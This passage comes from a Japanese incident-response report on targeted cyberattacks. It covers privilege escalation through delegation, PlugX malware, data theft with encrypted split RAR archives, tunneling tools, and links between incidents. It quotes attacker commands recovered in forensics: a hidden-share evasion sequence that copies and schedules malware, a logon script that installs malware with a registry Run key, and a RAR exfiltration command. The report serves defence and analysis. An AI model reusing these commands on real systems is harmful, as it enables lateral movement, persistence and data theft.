 および管理者アカウント newadminin の作成
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図 16   PC の管理者アカウント newadmin の作成の確認

図 17   グループポリシー基本設定の内容が記載されたファイル

図 18   グループポリシー基本設定（図 17）の内容
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　 ドメイン管理者などの権限の高いアカウントで感染 PC に
ログインした際、その感染 PC のローカル管理者権限が攻撃者
に取得されている場合は、管理者権限の高いアカウントのパス
ワードおよびパスワードハッシュ値が取得される恐れがありま
す（図 20、図 21）。

　委任は、ユーザアカウントやコンピュータアカウントの代理
として動作することをサービスに許可する機能です。これを悪
用すると、自身のアカウントではアクセスできないリソースに
もアクセスできるようになります。
　図 22 は、IP アドレス 10.100.0.72 の PC　A がマルウェ
ア感染した例です。アカウント A（ローカルの管理者アカウン
トやローカルの管理者権限を有するドメインユーザなど）は
ローカルの管理者権限を有しているため、マルウェアもこの
ローカル管理者権限を有することになりますが、10.100.0.8

図 19   パスワードの復号

図 21   感染 PC でドメイン管理者のパスワードを確認

図 20  ドメイン管理者によるリモートデスクトップでのログイン

ドメイン管理者によるログインの影響4.6.3.2.

パスワード／パスワードハッシュ値の取得

(ad¥administrator)

RDPによる
ドメイン管理者での

ドメイン管理者
ログイン

ローカルの管理者権限あり
(Builtin¥administrator)

委任の悪用
のサーバ B に対しては管理者権限を有しないため、管理共有と
呼ばれる共有フォルダへは通常、アクセスすることができません

（図 23）。
　しかし、ドメインの管理者権限を有する、権限の高いアカウン
トで感染 PC（PC　A）にログインした場合、PC　A がドメイ
ン管理者権限を悪用してサーバ B にある管理共有へアクセスで
きるようになり（図 24、図 25）、結果として権限昇格が可能と
なります。これについては、ドメイン管理者が PC を管理する際
などに起こり得ると考えられます。そのため対策としては、ドメ
イン管理者のアカウントについて委任を許可しない設定にするこ
とが有効です。
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Bサーバ 

(Windows 7) 
10.100.0.8 

(ad¥administrator)

APC 
10.100.0.72 

Bサーバ 

(Windows 7) 
10.100.0.8 APC 

10.100.0.72 

ドメイン管理者

(ad¥administrator)
ドメイン管理者

RDPによる
ドメイン管理者での

ログイン

RDPによる
ドメイン管理者での

ログイン

アカウントA

アカウントA

ローカルの管理者権限あり
(Builtin¥administrator)

ローカルの管理者権限あり
(Builtin¥administrator)

(ad¥user)

アカウントAで
アクセス

(ad¥administrator)

ドメイン管理者で
アクセス

図 22

図 23

  委任を悪用した権限昇格の概要

  PsExec による 10.100.0.72 の侵害
  ( ローカルの管理者権限を有するドメインユーザ、もしくはローカルの管理者アカウントが
  マルウェア感染すると想定 )
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図 24

図 25

  トークンの確認・設定

  ドメイン管理者の権限でアクセス

  PsExec による 10.100.0.72 の侵害
  ( ローカルの管理者権限を有するドメインユーザ、もしくはローカルの管理者アカウントが
  マルウェア感染すると想定 )
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攻撃者は、任意の場所にマルウェアを保存する目的で、攻
撃対象の PC やサーバの隠し共有（「ADMIN$」、「C$」）を使
用してファイルを保存します（図 26）。その際の通信データ
が図 27 です。この対策の一つとしては、過検出はあるものの、
ネットワーク型 IPS などで「ADMIN$」や「C$」による検出
を行う方法が有効です。

at␣¥¥10.100.0.2␣20:25␣net␣share evade=c:¥
copy␣malware.exe␣¥¥10.100.0.2¥evade¥windows¥
at␣¥¥10.100.0.2␣20:26␣C:¥windows¥malware.exe

4.6.4. 隠し共有の検出の回避

図 26   「C$」によるアクセス

図 27   「C$」にアクセスするための通信データ

図 28   「C$」の検出回避

ただし、この対策を実施していた顧客において、図 28 に示
したコマンドが実行され、隠し共有である「ADMIN$」や「C$」
による検出を回避していたことがありました。こうしたケース
もあることにご注意ください。
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if␣”%UserName:~0,3%”␣==␣”LAC”␣(md␣”%TMP%¥mal”␣&␣copy␣”%LOGONSERVER%¥net
logon¥mal.exe”␣”%TMP%¥mal¥mal.exe”␣&␣reg␣add␣hkcu¥software¥microsoft¥windows¥curr
entversion¥run␣/t␣REG_SZ␣/d␣”%TMP%¥mal¥mal.exe”␣/v␣malware␣/f)

　2014 年前後に実施したフォレンジック調査からは、数は少
ないものの、ユーザ名によって動作を変えるマルウェアも確認
しています。
　一つは、特定のユーザがログオンした時にのみドメインサー
バからマルウェアをダウンロードし、実行するようログオンス
クリプトに記述しているもの（図 29）で、もう一つはマルウェ

アにユーザ名をハードコード（ソースコードに記述すること）
し、実行時に動作を切り替えるもの（図 30）です。コンパイ
ル（人間が書いたソースコードをコンピュータが理解できる形
に変換すること）された日時（図 31）は事案の発生中で、攻
撃者は攻撃の最中にこのマルウェアを作成していたことがわか
ります。

4.6.5. ユーザ名による動作の切り替え

図 29   ユーザ名で動作を切り替えるログオンスクリプト

図 30   ユーザリストのハードコード（ユーザ名で動作を切り替えるマルウェア）

図 31

 コンパイル日時
（ユーザ名で動作を切り替えるマルウェア）
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　2010 年ごろまでは、感染拡大時に確認されるマルウェアは
全て同じ種類で、そのマルウェアのスタートアップ（起動時）
の登録場所なども同じでした。しかし、2013 年前後から異な
る種類のマルウェアが検出されるようになり、それに伴って
C&C サーバの宛先もそれぞれ別となり、スタートアップ登録
場所についてもいくつか違うものが見られるようになりました

（図 32）。
　複数種類のマルウェアを用いることによって、攻撃者は、一
つのマルウェアが検出・駆除されたとしても、まだ検出されて
いないマルウェアを使ってさらに別のマルウェアを送り込み、

長期間にわたって対象組織に潜入できるようになります。この
ため、事案の対応時にマルウェアを検出・駆除した場合でも、
違う種類のマルウェアにも感染している可能性を考慮し、対策
を講じることが重要です。
　また、マルウェアはスタートアップに登録されるケースが多
いため、感染有無の確認には、スタートアップ登録の確認が有
効な手段の一つとなりますが、特に標的型サイバー攻撃で使わ
れるマルウェアについては、スタートアップに登録されないも
のも少なくない点には注意が必要です。

14

14

14

14

12

7

12

3

3

3

3

4

5

4.6.6. 使用されるマルウェアの種類・スタートアップ登録場所の変化

図 32   感染拡大時のマルウェアの傾向変化　
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　標的型サイバー攻撃では、攻撃の際に必ずしもマルウェアが
使われるとは限りません。VPN（Virtual Private Network ＝
仮想専用ネットワーク）のアカウント情報を窃取した攻撃者が、
マルウェアを使用することなく、一般の管理者同様に VPN を
経由してリモートデスクトップで（他のコンピュータのデスク
トップ環境を遠隔操作して）侵害を継続していた事案がありま
した。また、感染拡大時に不正侵入はしたものの、マルウェア
に感染させることなく情報窃取のみ行う場合もありました。つ
まり、「マルウェアが存在しない」イコール「侵害されていな

い」ではありません。マルウェアが存在しないからといって、
被害を受けていないと思い込んで事案に対処してしまうと、
思わぬ落とし穴にはまる可能性がありますのでご注意くださ
い。
　このことは、Mandiant 社の M-Trends 2012: An Evolv-
ing Threat39 でも報告されています。例えばあるテクノロ
ジー企業のケースでは、侵害された PC 全 63 台のうち、調
査時にマルウェアが残っていたのは 12 台で、これ以外の
51 台にはマルウェアが残っていなかったとされています。

43% PlugX

22% Daserf

13% Gh0st RAT

9%

4%

9%

Poison Ivy

Hikit

その他

PlugX は 2012 年前半に世界中で確認された RAT（Remote 
Access Trojan、マルウェアの一種で「トロイの木馬」で知ら
れる）で、標的型サイバー攻撃に用いられています。インター
ネットイニシアティブ社（IIJ）の調査 40 によると、PlugX は
現在も頻繁に新たな亜種が確認されており、新しい機能追加と
共に、自身の特徴を削除し続けていると報告されています。こ
の点については、ラックの調査でも同様に様々な亜種を確認し
ています。

4.6.7. マルウェアが存在しない ≠ 侵害されていない

4.6.8. PlugX の台頭

  感染拡大時のマルウェアの傾向変化　

図 33   2014 年 1 月以降の調査で確認された RAT の割合 図 34    典型的な PlugX  の構成ファイル例

この PlugX への感染による通信を、ラックでは、2012 年
秋ごろから JSOC で検知 41 しており、またここ 1、2 年のサ
イバー救急センターによる事案対応においても、他の RAT に
比べて PlugX を頻繁に目にするようになりました。2014 年
度の調査で確認された RAT の割合を図 33 に示します。
　典型的な PlugX は 3 つのファイルから構成されています（図 
34）。それぞれのおおまかな役割を以下に示します。

①	 Form.exe：デジタル署名されている正規のアプリケーション。実行時に不正モジュール
FormDll.dll をロードしてしまう。

②	 FormDll.dll：不正なモジュール。Form.hlp をメモリに展開し実行する。
③	 Form.hlp： PlugX の本体
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PlugX のポイントの一つは、正規アプリケーションとして
プログラムが動作する点です。そのため、タスクスケジューラ
などによる動作プロセス一覧の確認や、スタートアップ登録プ
ログラム一覧の確認によるマルウェア確認の手間がより一層煩
雑になります。

フォレンジック調査の際、マルウェアの有無を簡易的に確
認する方法の一つに、Microsoft から公開されている Auto-
runs42 の利用が挙げられます。Autoruns はスタートアップ

登録プログラムの一覧を列挙するほか、登録プログラムのデジ
タル署名の検証結果やファイルパスの表示も行います。従来
は、完璧ではないものの、デジタル署名がなかったり、デジタ
ル署名があっても有名ではない会社のものを確認したりするこ
とで、マルウェアの簡易的な特定ができていましたが、今後は
これらに加えて、ファイルパスの妥当性の確認をより慎重に行
うことが必要となります。

　Linux サーバは複数の認証方式を提供していますが、一般的
に強固と考えられている公開鍵認証方式においても、なりすま
しログインを確認した事案があります。この事案では、秘密
鍵および秘密鍵を使用するためのパスフレーズを、攻撃者が
何らかの方法で窃取したと考えられます。また、感染 PC 上で
Tera Term43 などによってサーバを管理している際のスクリー
ンキャプチャが、  フォレンジック調査時に残っていた事案も

ありました。攻撃者はキーロガーやスクリーンキャプチャなど
を巧みに操り、侵入後も情報収集を行っていると考えられます。
　この他、Java が動作している Linux サーバにおいて、Java
で作成されたバックドアを確認した事案もありました。これは
まれなケースではあったものの、攻撃者は対象サーバに合わせ
てバックドアを選ぶこともあることがわかります。

　水飲み場型攻撃のうち、少なくとも国内で発生している事案
に関しては、アクセスしてきた人の IP アドレスが攻撃対象で
あった場合にのみ、マルウェアに感染させるための攻撃コード
を応答ページに追加したり、マルウェアをダウンロードさせる
細工がなされたりしています。そのため、攻撃対象ではない第

三者（セキュリティの専門企業など）が攻撃に気付くことはま
ず困難な状況です。

攻撃者が実施する IP アドレスによる制御方法としては以下
が考えられ、それぞれに合わせた調査方法が必要です。

1.	 ウェブアプリケーションによって制御する（前掲図 3 参照）。
2.	 特定の IP アドレスからのアクセス時のみ攻撃コードを追加するモジュール（機能）をウェブサー

バに組み込む。
3.	 特定の IP アドレスからの通信を NAT（IP アドレスを別の IP アドレスに変換する技術）により

転送する。

Linux サーバへの不正侵入4 .7.

水飲み場型攻撃における攻撃対象の限定4 .8.

43 Telnet、SSH やシリアル接続に対応したターミナルエミュレータで、Windows から Linux サーバにリモートログインする際に利用される。

http://sourceforge.jp/projects/ttssh2/

http://sourceforge.jp/projects/ttssh2/
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1.	 攻撃者の bat ファイルに残っていた（削除された bat も含む）。
2.	 ページファイル（C:¥pagefile.sys）もしくはメモリに残っていた。
3.	 プロキシサーバなどに通信データが残っており、マルウェア解析によって通信データの復号ルーチンを

適用し、攻撃者のコマンド履歴を復元した際に判明した。

test.exe␣a␣c:¥RECYCLER¥test.dat␣-v200m␣”C:¥tmp”␣-hpmanager123␣-ta20130721100300

　情報が窃取された事案では、その多くで RAR コマンドを使
用した痕跡を確認しています。図 35 を例にとると、攻撃者は
rar.exe を別名（test.exe）で保存し、ヘッダも含めて暗号化
した上で、パスワード（manager123）を設定して圧縮しま
す。次に、プロキシサーバでのアップロードファイルサイズ制
限を回避するためか、大きなサイズのファイルアップロードに

管理者が気付きにくくするためかは不明ですが、一定のサイズ
（200MByte）ごとに分割して圧縮します。さらには、圧縮す
るファイルの対象を、更新日時で指定する（2013 年 7 月 21
日 10:03:00 以降に更新されたファイル）といったケースも見
られます。これらから、攻撃者はあたかも日常の運用の一環と
して情報窃取を行っている様子が想像できます。

　分割して圧縮されたファイルには、「.part1.」や「.part01.」などがファイル名に自動的に追加されます（図 36）。このようなファ
イルが確認された場合は、標的型サイバー攻撃の可能性も念頭に対応することをお勧めします。

　RAR以外では、7-ZipやCABといったツールを利用したケー
スも確認しています。7-Zip では RAR 同様、ヘッダも含めて
暗号化できるため、攻撃者に悪用される傾向にあります。
　なお、マルウェア自体にもファイルの転送機能が付いている
ため、攻撃者は、ファイルを圧縮することなく情報を窃取し得
るということにも注意が必要です。

4.9.1. 情報窃取時に使用されるコマンド～ RAR ／ 7-Zip ／ CAB

情報窃取の方法　　　4 .9.

図 35    2013 年 7 月 21 日 10:03:00 以降に更新されたファイルを test.dat としてアーカイブする RAR コマンド

図 36   分割された RAR ファイル

　セキュリティ事案が発生して対応する際には、RAR のパス
ワードを知りたくなります。しかし、攻撃者は多くの場合、英
数字記号を全て含めた十数文字のパスワードを設定するため、
パスワードクラッキングでは判明しません。ただ、以下の状況
下でパスワードが判明したケースがありました。

　また、まれなケースではありますが、一つの事案内で様々な RAR パスワードを設定していた場合がありました。いく
つかはキーボードの並び通りで、攻撃者がやっつけ仕事でパスワードを設定した印象を受けました。
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　攻撃者は情報を窃取するために、踏み台となる PC のファイ
ルサーバに保存されたファイルのうち、特定の拡張子を含むも
の（ドキュメントファイル、CAD ファイル、テキストファイ
ルなど）を、作業フォルダにいったん保存した上で、もしくは
直接、RARコマンドで圧縮します。そして情報を窃取した後は、

 ポート転送とは図 37 に示すように、あらかじめ定めたポー
ト番号で受信したデータを別の IP アドレス・ポート番号に転
送することです。またトンネリングとは、ポート転送に似てい
ますが、違うプロトコル（例では HTTP）でデータを包んだ上
で送受信を行うことを言います。これらを悪用することにより、
通常はファイアウォールのアクセス制御によりインターネット
上からアクセス不可能である社内のサーバや PC へのアクセス
が可能となります（図 38）。　　　

前者のポート転送に関連し、トレンドマイクロ社 44Mandi-
ant 社 45 のレポートなどで報告されているポート転送ツール、
htran の悪用をラックの調査でも確認しています（図 39）。

最近は、トンネリングツールを悪用した、より検知しづら
い事例も複数確認しています。このツールはインターネットに
アクセスする際に HTTPS 通信を行いますが、一般のウェブア
クセスも同様に HTTPS 通信を利用するため、両者の違いは明
確でなく、検知を困難にします。ただ、いったん接続すると長
時間コネクションを確立する傾向があることから、こうした点
に着目して検出する方法が対策として挙げられます。

トンネリングツールについても複数のバージョンが見られ
ますが、いずれもインターネット検索では見つからないため、
攻撃者自身が作成したものか、アンダーグラウンドで流通して
いるものだと考えられます。

ポート転送の場合1

(HTTPトンネリングの例 )

C&C サーバ

トンネリングの場合2

C&C サーバ

4.9.2. 情報窃取時の手順～ファイルサーバから一時フォルダへのコピー

作業フォルダ上のファイルを削除します。
　このような手順が踏まれるため、ファイルが削除されていて
もファイルコンテンツ、もしくはファイル名だけはフォレン
ジック調査で復元できる場合があり、窃取された情報のおおよ
そが判明することもあります。

4.10.1. ポート転送／トンネリング

その他の行動4 .10.

図 37  ポート転送／トンネリング
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図 38 htran 等を悪用した社内 PC・サーバへのアクセス 

図 39 ポート転送ツール／トンネリングツールの割合

4.10.2. 完全なファイルの削除

攻撃者によっては、ファイルを削除する際、通常の削除ではなく、Microsoft が公開しているファイル削除専用ツール
SDelete46 を用いてファイルを復元できない状態にしているケースがありました。さらに、未使用領域をゼロで上書きしていると
推測される事案も確認しています。
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本章では、標的型サイバー攻撃による事案を分析し、複数
の事案間で関連が判明したものについて、一部を紹介します。

ラックでは、マルウェアなどをデータベース化し、分析力
やセキュリティ対策支援の向上に活用しています。データベー
スに登録するものは、具体的に、「119 サービス」（セキュリティ
事案発生後の対応やフォレンジック調査などを実施）や情報漏
えいチェックサービスなどで取得したマルウェア、C&C サー
バの URL の他、顧客の機密情報に関連しない IOC（Indicator 
Of Compromised ＝攻撃され、影響を受けたことを示す痕跡）
などです。新規の事案に対応する際には、過去の IOC と比較
して攻撃傾向や共通点などを分析しています。それにより、別
の組織で起きた事案間で関連が確認され、事案の解決を早める
ことができたケースもありました。

なお、分析した情報には攻撃者を利することになりかねな
いものがあるため、それらについては公表を差し控えます。ま
た最近は、マルウェアの感染拡大や攻撃の過程で使用したツー
ルが目的達成後、攻撃者によって削除されることが多くなって
います。そのため、ここでの分析は断片的な情報による結果で
あることをご理解の上、あくまでも参考情報としてご覧くださ
い。

図 40 は、ある企業（ここでは仮に LAC としています）へ
の標的型サイバー攻撃で確認された情報を図で表したもので
す。この事案では、６種類のマルウェアが使用され、通信先が
それぞれ違うことがわかります。

この図を含め、第 5 章で使用するアイコンの説明は図 41
の通りです。また、分析した全事案を結びつけたイメージを図 
42 に示します。

標的型サイバー攻撃の事案分析05

図 40 セキュリティ事案の情報を整理したもの
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　ラックがこれまで対応した事案からは、それぞれ別の事案のように見えて、使用されたツールなどから互いに関連が確認できた
ものがあります。

事案間の関連性を分析した結果、標的対象とする組織を同
業種に限定するケースをいくつか確認しています。このほか、
業種は異なるものの同業界で関連が見られる場合もありまし
た。

図 41 アイコンの説明

図 42 全事案を結びつけたイメージ図

5.1.1. 同一のマルウェアが複数の組織で確認

事案間の関連性5 .1.

図 43 は、複数の事案で関連が確認できたケースです。こう
した関連性は、マルウェアやカスタム化された未公開ツールな
ど、同じファイルが使用されていたことから判明しました。
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なし
98%

2%
あり

　ただ、実際には、同一のマルウェアが使い回しされているケー
スはわずかにすぎません。図 44 は、ある事案で見られたマル
ウェアが、他の組織でも確認された割合を示したものです。こ
れによると、同一のマルウェアが複数の事案で発見された割合
は全体の 2% で、大半は特定の攻撃対象内だけで使用されてい
ることが見て取れます。これは、攻撃者が標的組織ごとにマル
ウェアを使い分けているためで、ウイルス対策ソフトなどで広
く対策が講じられても、効果は限定的であることを意味してい
ます。

　また、一つの事案から、あるいは複数の事案間で検出されたマルウェアについて調査したところ、通信先ホスト名やドメイン、
IP アドレス、IP ネットワークが共通していたものが複数ありました（図 45）。また、ドメインの登録者のメールアドレスが同じ
ものも多数見られました（図 46 ）。

図 43 同一のマルウェアが見られた例

図 44 複数組織から同一のマルウェアが発見された割合

5.1.2. 共通で確認されたドメイン、IP アドレス
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図 45 共通のドメイン、同一のネットワークアドレス

図 46 ドメインの登録者が同一であることを確認したケース
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　ここまではマルウェア全体について述べてきましたが、こ
こではマルウェアの一部である RAT に関し、過去に対応した
もののうちの少し珍しいケースを紹介します。一つの事案で、
標的型サイバー攻撃の際にしばしば確認される複数の種類の
RAT（Poison Ivy および PlugX）が検出され、これらがすべ
て同じ IP アドレスを C&C サーバとして使っていたケースで

す（図 48）。種類ごとに通信内容が異なる RAT を使用したこ
のケースからは、攻撃者の意図、つまり、いずれかの通信が
IPS などにより検出された場合でも、残りを攻撃対象とする組
織に潜伏させ続けることを目的としていたことが推測されま
す。

図 47 は、ある事案で確認されたマルウェアの通信先ドメ
インが、別の複数の組織で確認されたものと一致した割合で
す。一致割合は 8% で、全体に占める割合は小さいものの、
5.1.1. で見た、同一のマルウェアが複数の事案間で確認された
割合（２％）を上回ります。これは、マルウェアの亜種を作成
するより、通信先ドメインを新たに設定するほうが、攻撃者に
とっては手間を要するためだと考えられます。
　なお、CrowdStrike 社の「CrowdStrike Intelligence Re-
port Putter Panda」レポート 47  にもある通り、攻撃者は追
跡を回避するため、ドメインの登録者情報を更新することがあ
ります。ラックがモニタリングしているドメインの一部につい
ても、同様の更新を確認しています。
　また、ドメイン売買を専門としていると思われる業者から、
攻撃者が標的型サイバー攻撃のためにドメインを買い取ったと
推測される状況も見られました。

不一致
92%

8%
一致

図 47 複数の組織で確認されたマルウェアの
通信先ドメインが一致した割合

5.1.3. 同じ事案で確認された複数種類の RAT の接続先

図 48  複数の RAT  の接続先が同じだったケース
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5.3. 同時期に攻撃が実行された、感染手段の異なる事案の関連

　これまでに対応した事案には、他の公開レポートで報告され
た事案と、複数の関連が確認されているものがあります。例え
ば、ある事案では、フォレンジック調査で確認されたマルウェ
アの通信先ドメインの一つが、前述した CrowdStrike 社のレ
ポートにも記載されており、攻撃者は同じであると思われます

（図 49）。

公開されているレポートとの関連性　　　5.2.

一方で、この事案で確認された他の 4 つのマルウェアの通信
先ドメインやドメインの登録メールアドレスは、先のレポートに
は記載されていませんでした。ラックの調査結果にしても他社の
調査結果にしても、それぞれはパズルのピースにすぎず、パズル
を完成させて攻撃の全体像をより正確に把握するためには、より
一層の情報共有が必要であると言えるでしょう。

図 49 CrowdStrike 社「Putter Panda」レポートとの関連図

　感染手段は異なるものの、事案間で関連性が確認されたもの
もあります（図 50）。Java に起因する水飲み場型攻撃（事案 A、
B）と、ソフトウェアのアップデート機能を悪用した水飲み場
型攻撃（事案 C）の３つを同時期に行っていたケースです。攻
撃対象を感染させるための入り口となるサーバはそれぞれ別で

同時期に攻撃が実行された、感染手段の異なる事案の関連5.3.

したが、感染後にアクセスする C&C サーバやそのドメインに
関連性が確認されました。
　これらの事案ではアジアの企業から盗まれた複数のデジタル
署名も使用されており、攻撃者のスキルの高さがうかがえます。
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図 50 感染手段の異なる事案の関連

この一連の事案では、先に対応した事案に使用されたマル
ウェアの痕跡から、その後に対応した別事案との関連が判明し、
解決を早めるといった展開もありました。

事案 A の調査が完了した 1 カ月後、別の会社から事案 B へ
の対応の依頼が来ました。調査の過程で事案 B のマルウェア
を解析したところ、その通信先ドメイン（接続先）が事案 A
のマルウェアの通信先ドメインと同一であることが判明しまし
た（図 50 の円で囲った部分）。そこで、事案 A の感染原因で
あった Java の悪用に関する痕跡の有無を事案 B で調べたとこ
ろ、やはり同様の痕跡が見られ、感染原因を迅速に特定するこ
とができました。これにより、全体の事案解決も円滑に進める
ことができました。

これは他組織間での関連性でしたが、一つの組織内におい
ても、過去に遭遇した事案を IOC 化しておくことは非常に有
用です。IOC の活用により、再び標的型サイバー攻撃が発生
したとしても、効果的な事案対応へとつなげることが期待でき
るからです。加えて、平時におけるセキュリティ対策の強化に
も役立てることができます。巧妙化・多様化・複雑化する標的
型サイバー攻撃に備え、対応するには、過去の攻撃の痕跡を蓄
積し、それらを俯瞰して見ていくことが今後いっそう重要とな
るでしょう。
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